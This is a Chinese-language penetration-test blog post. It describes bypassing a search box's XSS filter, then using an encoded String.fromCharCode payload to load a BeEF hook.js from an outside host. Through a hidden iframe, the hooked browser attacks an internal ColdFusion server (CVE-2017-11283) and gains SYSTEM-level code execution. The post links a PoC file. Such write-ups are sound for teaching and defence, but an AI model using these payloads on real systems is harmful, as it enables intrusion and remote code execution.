利用XSS結合CVE-2017-11283擊穿ColdFusion應用

在對某網站進行測試的時候,發現有個搜索框。在排除存在SQL注入后進行XSS測試,這里拿比較常見的payload: <script>alert(1);</script>來測試下,從頁面的顯示結果來看是存在XSS檢測的。那首先要解決的問題就是來繞過這個檢測。

在把payload經過一些變形后(主要就是加了些空格),比如這樣 < script>alert(1);< /script>,成功彈出對話框,表示繞過成功。既然存在XSS,那利用的方式就不僅限于彈框了,這里就結合著名的beef-xss框架來對內網進行一次有趣的實驗。

先在kali下開啟beef:

可以看到需要引用hook.js文件,在網站搜索框輸入< script src="http://192.168.111.133:3000/hook.js" >< /script>后發現并沒有成功,通過查看返回的頁面源碼發現空格以及等于號都消失了。從這里就可以看出,網站不僅存在xss檢測,還會把一些特殊字符過濾掉,這也是為什么在script標簽處加了空格后依然能夠被正常解析運行的原因了。

既然等于號會被過濾,那就再次對payload變形(沒等于號了):< script>document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 49, 57, 50, 46, 49, 54, 56, 46, 49, 49, 49, 46, 49, 51, 51, 58, 51, 48, 48, 48, 47, 104, 111, 111, 107, 46, 106, 115, 34, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62))< /script>,這次終于成功上線了。

在beef-xss框架中,可以發送很多命令給加載了hook.js文件的瀏覽器來運行。利用這個框架,來對一些處于外網訪問不到的內網應用進行攻擊有時可以達到意想不到的效果。這里選擇要攻擊的應用就是ColdFusion 2016 Update 3(最近修復了編號CVE-2017-11283、CVE-2017-11238這兩個反序列化漏洞)。要達到攻擊效果,這里就使用beef框架來創建一個隱藏的iframe,iframe的url地址所指的文件中就包含了攻擊的payload。這里主要是通過XMLHttpRequest來發送一個POST請求,帶上攻擊的payload發送到ColdFusion的1099端口。

在beef框架中選擇Create Invisible Iframe命令后填入可以訪問到的URL地址,點擊運行后,ColdFusion中的漏洞就被觸發,可以看到notepad.exe成功運行,還是system權限。

通過以上實驗可以發現,xss威力還是不容小覷,單就拿可以發送POST數據包給內網的應用來說,一些WebLogic、WebSphere、JBoss、Jenkins以及喜聞樂見的Struts2應用都是可以被攻擊的,只是限于同源策略的影響,返回結果不太容易獲得。

最后附上poc.html (鏈接: https://pan.baidu.com/s/1bptryNl 密碼: 2g2p)

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容